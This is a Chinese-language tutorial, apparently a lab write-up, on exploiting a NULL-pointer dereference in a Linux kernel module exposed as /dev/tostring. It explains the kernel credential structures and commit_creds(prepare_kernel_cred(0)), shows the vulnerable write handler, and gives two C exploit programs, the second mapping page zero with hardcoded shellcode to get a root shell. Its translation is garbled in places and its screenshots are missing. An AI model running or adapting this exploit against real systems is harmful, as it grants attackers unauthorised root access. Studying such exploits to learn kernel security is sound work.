內核exploit——如何應對空指針異常現象
什么是空指針異常?
如果一個未初始化或零編號(zero-ed out)的指針被取消引用時,將會導致程序計數器/指令指針(PC/IP)指向0,從而導致內核崩潰!
當遇到上述情況,首先需檢查是否啟用了任何保護程序,如果啟用了就將其全部關閉,包括管理員保護模式、數據執行保護模式(DEP / NX)以及mmap_min_addr保護機制。
ring0層與ring3層有所區別(Intel的CPU將特權級別分為4個級別:RING0、RING1、RING2、RING3。Windows只使用其中的兩個級別RING0和RING3,RING0只給操作系統用,RING3誰都能用)。由于計算機使用二進制,因此在ring3層操作過程中,我們僅需要關注如何追加一個shell命令,我們需要這個時間來修改權限。慶幸的是,目前仍存在一些內核結構,持有當前的進程權限。我們將嘗試利用權限來進行root,并在處理完這些后再追加一個shell命令。
如何提升權限?
在進行提升權限操作前,我們需要知道我們需要做哪些事情:
每個進程信息都存儲為一個進程描述符(task_struct)
下列是sched.h文件:
- struct task_struct {
- /* ... */
- /* Process credentials: */
- /* Tracer's credentials at attach: */
- const struct cred __rcu *ptracer_cred;
- /* Objective and real subjective task credentials (COW): */
- const struct cred __rcu *real_cred;
- /* Effective (overridable) subjective task credentials (COW): */
- const struct cred __rcu *cred;
- /* ... */
- }
- 下列是cred.h文件:
- struct cred {
- /* ... */
- kuid_tuid;/* real UID of the task */
- kgid_tgid;/* real GID of the task */
- kuid_tsuid;/* saved UID of the task */
- kgid_tsgid;/* saved GID of the task */
- kuid_teuid;/* effective UID of the task */
- kgid_tegid;/* effective GID of the task */
- /* ... */
- }
下面我們將主要關注有效的用戶身份證明(UID)任務。如果我們成功將其值設置為0,則當前任務將具有root權限!
我們應該如何找到他們?
可以利用一些內核符號。
一些功能可用于提升當前的進程權限,它們的地址是靜態的,可以根據我們處理的內核重新生成:
- /proc/kallsyms, /proc/ksyms, /dev/ksyms..
上述這些函數在cred.c.中。
- extern int commit_creds(struct cred *);
- /* ... */
- extern struct cred *prepare_kernel_cred(struct task_struct *);
我們可以看到,prepare_kernel_cred()函數的返回值類型為struct cred *,之后再以此作為參數傳遞給commit_creds(),這樣就可以將我們新獲得的權限分配給當前的進程!
結論:可以通過“commit_creds(prepare_kernel_cred(0))”命令來提升權限;
了解漏洞并學會觸發這些漏洞
在進行內核開發前,我們需要知道如何觸發漏洞,還需要知道在什么情況下指針會被取消。
解決內核威脅問題
我們首先需要檢查保護程序
如上圖所示,所有的保護措施都出于關閉狀態。
在“tostring_write()”函數里,我們可以看到這些命令應該始終以10'*'開頭。
當這個內核模塊被加載時,它會在每次運行時啟動結構,每次運行都會啟動一次。
如上圖所示,我們不難發現這會啟動“tostring_create()”。當在“tostring_s struct!”下設置函數指針時,該功能就會響應
這一點非常重要,請謹記于心!因此,這兩個指針在每次運行時都被設置一次(或者需要的話)。
現在我們輕易地就能辨認出漏洞的函數,如下所示:
- static ssize_t tostring_write(struct file *f, const char __user *buf,size_t len, loff_t *off)
- {
- char *bufk;
- int i,j;
- printk(KERN_INFO "Tostring: write()\n");
- bufk = kmalloc(len + 1, GFP_DMA);
- if (bufk){
- if (copy_from_user(bufk, buf, len))
- return -EFAULT;
- bufk[len] = '\0';
- i=0;
- while(i <len) {
- for (j=0;(j<10) && (bufk[j]=='*');j++);
- if (j == 10) {
- for (j=i+10;(bufk[j]!='\0') && (bufk[j] != '\n');j++);
- bufk[j]='\0';
- printk("Tostring: Cmd %s\n",bufk+i+10);
- switch(bufk[i+10]) {
- case 'H':
- tostring->tostring_read= tostring_read_hexa;
- break;
- case 'D':
- tostring->tostring_read= tostring_read_dec;
- break;
- case 'S':
- printk("Tostring: Delete stack\n");
- kfree(tostring->tostring_stack);
- tostring->tostring_stack=NULL;
- tostring->tostring_read=NULL;
- tostring->pointer=0;
- tostring->pointer_max=0;
- break;
- case 'N':
- printk("Tostring: Stack create with size %ld\n",local_strtoul(bufk+i+11,NULL,10));
- if (tostring->tostring_stack==NULL) tostring_create(local_strtoul(bufk+i+11,NULL,10));
- if (tostring->tostring_stack==NULL) printk("Tostring: Error, impossible to create stack\n");
- break;
- }
- i=j+1;
- }
- else {
- printk("tostring: insertion %lld\n",*((long long int *) (bufk+i)));
- if (tostring->pointer >= tostring->pointer_max)
- printk(KERN_INFO "Tostring: Stack full\n");
- else
- tostring->tostring_stack[(tostring->pointer)++]= *((long long int *) (bufk+i));
- ii = i+sizeof(long long int);
- }
- }
- kfree(bufk);
- }
- return len;
- }
正如我們所見,在“ten '*'”后會出現一個“S”。這就會使函數指針tostring_read無效,而這一點對我們有力。
但是,在將其設置為null之后,我們需要讀取它,以使其被取消引用。因此,我們需要讀取該文件,以觸發啟用“tostring_read()!”命令。
我們開始編寫開發程序。我們之前使用Python語言進行編寫,現在我們換成C語言。
我們先寫一個較為簡單的以觸發命令和清除函數指針。
- #include <stdio.h>
- #include <string.h>
- #include <stdlib.h>
- #include <sys/mman.h>
- #include <fcntl.h>
- /**/
- #define vulnerable_device "/dev/tostring"
- /**/
- void main(void){
- int fd;
- char payload[15];
- /**/
- memset(payload, '*', 10);
- /**/
- payload[10] = 'S';
- payload[11] = 0;
- /**/
- fd = open(vulnerable_device, O_RDWR);
- if(fd < 0){
- printf("Couldn't open device!");
- }
- /**/
- write(fd, payload, 12);
- }
目前一切都比較順利,但我們仍需通過讀取文件使其取消引用。
- read(fd, 0, 1)
我們做到了,我們將其IP指針設置為0
幸運的是,mmap_min_addr保護處于關閉狀態。 我們可以在NULL中分配一個小區域,并放置我們的shellcode來提升權限。
現在就可以從“/proc/kallsyms!”中獲得“prepare_kernel_cred”和“commit_creds”地址。
我將使用rasm2做一個shellcode:
以下是shellcode:
在我們的開發程序中取消指針前,我們就可以開始添加shellcode:
- #include <stdio.h>
- #include <string.h>
- #include <stdlib.h>
- #include <sys/mman.h>
- #include <fcntl.h>
- /**/
- #define vulnerable_device "/dev/tostring"
- /**/
- void pop_shell(){
- system("sh");
- }
- /**/
- void main(void){
- int fd;
- char payload[15];
- char shellcode[15] = "\x31\xc0\xe8\xe9\x11\x07\xc1\xe8\x74\x0e\x07\xc1\xc3";
- /**/
- memset(payload, '*', 10);
- /**/
- payload[10] = 'S';
- payload[11] = 0;
- /**/
- fd = open(vulnerable_device, O_RDWR);
- if(fd < 0){
- printf("Couldn't open device!");
- }
- write(fd, payload, 12);
- /**/
- mmap(NULL, sizeof(shellcode), PROT_EXEC |PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS |MAP_FIXED, -1, 0);
- memcpy(NULL, shellcode, sizeof(shellcode));
- /**/
- read(fd, 0, 1);
- /**/
- pop_shell();
- }
在完成后,開始運行
以下是root shell
希望文章能對大家有所啟發和幫助!